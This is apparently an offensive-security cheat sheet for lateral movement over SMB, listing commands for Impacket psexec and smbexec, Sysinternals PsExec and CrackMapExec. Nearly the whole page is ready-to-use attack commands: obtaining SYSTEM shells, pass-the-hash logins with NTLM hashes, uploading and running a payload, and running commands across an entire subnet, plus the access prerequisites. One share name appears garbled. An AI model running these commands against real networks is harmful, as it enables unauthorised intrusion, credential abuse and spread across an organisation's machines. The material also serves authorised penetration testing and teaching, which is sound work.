Skip to main content

​
Impacket — psexec

impacket-psexec DOMAIN/user:password@TARGET
impacket-psexec DOMAIN/user@TARGET -hashes :NTLM_HASH
impacket-psexec DOMAIN/user:password@TARGET -codec 437    # Fix encoding
Returns SYSTEM shell.

​
Impacket — smbexec

impacket-smbexec DOMAIN/user:password@TARGET
impacket-smbexec DOMAIN/user@TARGET -hashes :NTLM_HASH
No binary upload — uses service creation.

​
Sysinternals PsExec

PsExec.exe \\TARGET -u DOMAIN\user -p password cmd.exe
PsExec.exe \\TARGET -u DOMAIN\user -p password -s cmd.exe    # SYSTEM
PsExec.exe \\TARGET -u DOMAIN\user -p password -c payload.exe # Upload & exec

​
Accept EULA

PsExec.exe -accepteula \\TARGET cmd.exe

​
CrackMapExec

crackmapexec smb TARGET -u user -p password -x "whoami"         # CMD
crackmapexec smb TARGET -u user -p password -X "Get-Process"    # PowerShell
crackmapexec smb TARGET -u user -H NTLM_HASH -x "whoami"

​
Multiple Targets

crackmapexec smb 10.10.10.0/24 -u admin -p password -x "whoami"
crackmapexec smb targets.txt -u admin -H HASH -x "whoami"

​
Requirements

  • Admin rights on target
  • SMB (445) accessible
  • ADMINorC or C share writable (psexec)
  • File and Printer Sharing enabled

​
Quick Reference

ToolCommand
Impacket psexecimpacket-psexec DOMAIN/user:pass@TARGET
Impacket smbexecimpacket-smbexec DOMAIN/user:pass@TARGET
SysinternalsPsExec.exe \\TARGET -u user -p pass cmd
CMEcrackmapexec smb TARGET -u user -p pass -x "cmd"